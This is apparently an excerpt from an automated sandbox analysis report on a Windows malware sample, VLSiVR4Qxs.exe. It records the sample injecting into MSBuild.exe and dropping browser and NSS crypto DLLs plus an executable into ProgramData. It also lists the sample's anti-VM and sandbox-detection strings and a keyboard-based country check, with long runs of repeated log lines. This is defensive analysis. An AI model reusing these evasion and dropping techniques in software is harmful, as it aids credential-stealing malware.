Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000001.00000002.2737291657.000000001D6E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2721543565.0000000017776000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: VLSiVR4Qxs.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: VLSiVR4Qxs.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: VLSiVR4Qxs.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: VLSiVR4Qxs.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: VLSiVR4Qxs.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00418A63 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00418A63

Source: sql[1].dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_0041C13A push ecx; ret	0_2_0041C14D
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003C71AD push ecx; ret	0_2_003C71C0
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_0041C2D8 push ds; retn 0003h	0_2_0041C38D
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_0041C39E push ds; retn 0003h	0_2_0041C38D
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_0041C454 push ds; retf 0003h	0_2_0041C455
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_0041E9ED push 0000004Ch; iretd	0_2_0041E9FE
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_0040ADAD push ecx; ret	0_2_0040ADC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042F262 push ecx; ret	1_2_0042F275
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00422E59 push esi; ret	1_2_00422E5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041DED5 push ecx; ret	1_2_0041DEE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00432715 push 0000004Ch; iretd	1_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4EB536 push ecx; ret	1_2_6C4EB549
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000671AD push ecx; ret	8_2_000671C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\HCAEHDHDAK.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\a43486128347[1].exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\HCAEHDHDAK.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

1_2_00418A63

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 0.2.VLSiVR4Qxs.exe.3edad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.VLSiVR4Qxs.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.VLSiVR4Qxs.exe.3edad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VLSiVR4Qxs.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6112, type: MEMORYSTR

Country aware sample found (crashes after keyboard check)

Source: c:\users\user\desktop\vlsivr4qxs.exe

Event Logs and Signature results: Application crash and keyboard check

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: VLSiVR4Qxs.exe, MSBuild.exe	Binary or memory string: DIR_WATCH.DLL
Source: VLSiVR4Qxs.exe, MSBuild.exe	Binary or memory string: SBIEDLL.DLL
Source: VLSiVR4Qxs.exe, MSBuild.exe	Binary or memory string: API_LOG.DLL
